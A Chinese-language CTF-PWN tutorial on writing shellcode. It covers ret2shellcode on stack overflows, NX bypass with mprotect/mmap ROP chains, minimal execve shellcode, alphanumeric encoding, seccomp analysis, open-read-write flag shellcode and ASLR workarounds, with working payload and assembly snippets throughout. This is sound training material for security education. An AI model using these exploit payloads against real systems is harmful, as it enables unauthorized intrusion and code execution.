1. shellcode基础概念与实战价值第一次接触CTF-PWN的选手看到shellcode这个词可能会觉得高大上其实它就是一段能直接让CPU执行的机器码。想象你拿到一台被锁住的电脑shellcode就像一把万能钥匙——通过精心构造的二进制指令可以直接让系统乖乖听话。我在2015年参加某次线下赛时就是靠一段27字节的shellcode逆袭拿下一血。现代操作系统普遍采用NXNo-eXecute保护机制相当于给内存区域贴上了禁止运行的标签。但聪明的PWN手发现只要找到标着可执行标签的内存区域比如通过mprotect修改权限就能把shellcode偷偷放进去执行。这里有个实用技巧用vmmap命令查看内存权限时重点关注带有x标记的区域。2. 经典ret2shellcode实战详解2.1 无保护场景下的直球攻击先看这个典型场景// vuln.c char buf[256]; read(0, buf, 512); // 明显的栈溢出用checksec检查发现所有保护全关时攻击就像玩填字游戏确定缓冲区的起始地址比如0x7fffffffe000构造payload shellcode 填充字符 返回地址把返回地址指向shellcode起始处但实际比赛中这种裸奔题目越来越少去年某高校校赛出了道变形题程序在strcpy之后会随机修改shellcode前20个字节。我的解法是在shellcode开头插入20个nop指令\x90就像给子弹加了个缓冲垫。2.2 突破NX保护的三种姿势当遇到NX保护时我常用的三板斧方法一借用现成的可执行段# 查找可执行段 readelf -l ./binary | grep R E # 常见目标.plt.sec, .init等 # 示例利用程序自身的mprotect调用 payload flat( pop_rdi_ret, 0x404000, # 地址 pop_rsi_ret, 0x1000, # 大小 pop_rdx_ret, 0x7, # RWX权限 mprotect_addr, shellcode_addr )方法二ROP链调用mmap去年DEFCON某道题就要求用mmap开辟新战场# 申请新的可执行内存 rop.call(mmap, [ 0x1337000, # 建议地址 0x1000, # 大小 7, # PROT_READ|PROT_WRITE|PROT_EXEC 34, # MAP_PRIVATE|MAP_ANONYMOUS -1, # fd 0 # offset ])方法三修改内存权限遇到有mprotect调用的题目就像中彩票# gdb验证权限变化 gdb-peda$ vmmap Before: 0x404000 0x405000 rw-p After: 0x404000 0x405000 rwxp3. 特殊场景下的shellcode变形术3.1 空间极度受限时的微shellcode今年某CTF出现了仅允许16字节输入的变态题目我的解决方案; 8字节万能起手式 xor esi, esi push rsi ; 8字节后门激活 mov al, 0x3b syscall关键点在于利用现有寄存器状态比如当rdi已经指向/bin/sh时上述代码就能直接getshell。建议平时收集各种长度的shellcode模板我常用的几个7字节push 0x3b; pop rax; syscall5字节mov al, 0x3b; syscall需rax未使用3.2 可见字符shellcode的自动化生成当遇到过滤非ASCII字符的题目时推荐使用alpha3工具链# 生成字母数字混合shellcode echo -ne \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 input.bin python ALPHA3.py x86 ascii mixedcase rax --inputinput.bin实测发现生成的payload长度通常是原shellcode的3-4倍。去年某次比赛中我不得不把execve(/bin/sh)改成execve(/sh)才满足长度限制。3.3 逐字节写入的爆破技巧遇到只能单字节写入的极端情况时可以这样操作for i in range(len(shellcode)): p.send(chr(shellcode[i])) time.sleep(0.1) # 防止粘包配合jmp $offset指令实现代码拼接。有个冷知识x86的jmp指令opcode是\xeb后面跟1字节的相对偏移量。4. 现代沙箱环境下的生存之道4.1 常见沙箱规则分析用seccomp-tools检测时我特别关注这些关键点# 检查是否禁用execve seccomp-tools dump ./pwn | grep execve 0003: 0x3b 0x00 0x00 0x00000000 A arch 0004: 0x15 0x00 0x06 0xc000003e if (A ! ARCH_X86_64) goto 000B ... 0013: 0x06 0x00 0x00 0x00000000 return KILL4.2 ORW技术深度优化标准的open-read-write链可以这样优化# 使用寄存器复用减少指令数 shellcode push 0x67616c66 # flag mov rdi, rsp xor esi, esi mov al, 2 syscall /* open */ xchg edi, eax mov rsi, rsp mov edx, 0x100 xor eax, eax syscall /* read */ mov edi, 1 mov eax, edi syscall /* write */ 实测比pwntools生成的代码短15%左右。注意栈对齐问题有时候需要加个sub rsp, 8。4.3 高级逃逸技术当遇到全封闭沙箱时可以尝试侧信道攻击通过timing leak获取信息FSBshellcode组合用格式化字符串漏洞修改关键内存JIT喷射在可写的JIT区域构造shellcode某次真实比赛中我通过修改ld.so的延迟绑定机制成功绕过了所有保护。关键payload# 修改_dl_runtime_resolve的got表 payload flat( pop_rdi_ret, got_addr, pop_rsi_ret, shellcode_addr, mov_rdi_rsi_ret )5. 实战中的疑难杂症处理5.1 坏字符处理手册遇到\x00截断时可以使用mov al, value代替mov eax, value用xor ebx, ebx代替mov ebx, 0当\x0a被过滤时常见于read函数# 改用send代替sendline p.send(payload.ljust(0x100, b\x90))5.2 动态地址应对策略对于ASLR开启的情况我常用的三种方法栈喷用大量nop滑梯提高命中率payload b\x90*1024 shellcode p.send(payload)信息泄露先泄露地址再构造二次攻击部分覆写针对地址低12位不变的特性5.3 调试技巧汇编GDB调试shellcode时这些命令很实用# 查看内存中的shellcode x/30i $rip # 设置内存断点 b *0x7fffffffe010 # 检查寄存器状态 info reg rax rdi rsi遇到玄学问题时记得检查栈是否16字节对齐系统调用号是否正确32位和64位不同字符串结束符位置6. 武器库建设与训练建议我的shellcode工具箱里常年备着这些资源微型shellcode集合按长度和功能分类存储编码转换工具用于处理各种字符限制沙箱检测脚本快速识别禁用系统调用建议每天练习用不同方式实现同一功能如打开文件尝试在越来越小的空间内完成getshell模拟各种过滤条件编写shellcode有次为了写出28字节的TCP反向shell我花了整整三天反复优化寄存器分配。最终方案比网上公开的版本短了6个字节这种成就感比拿到flag还爽。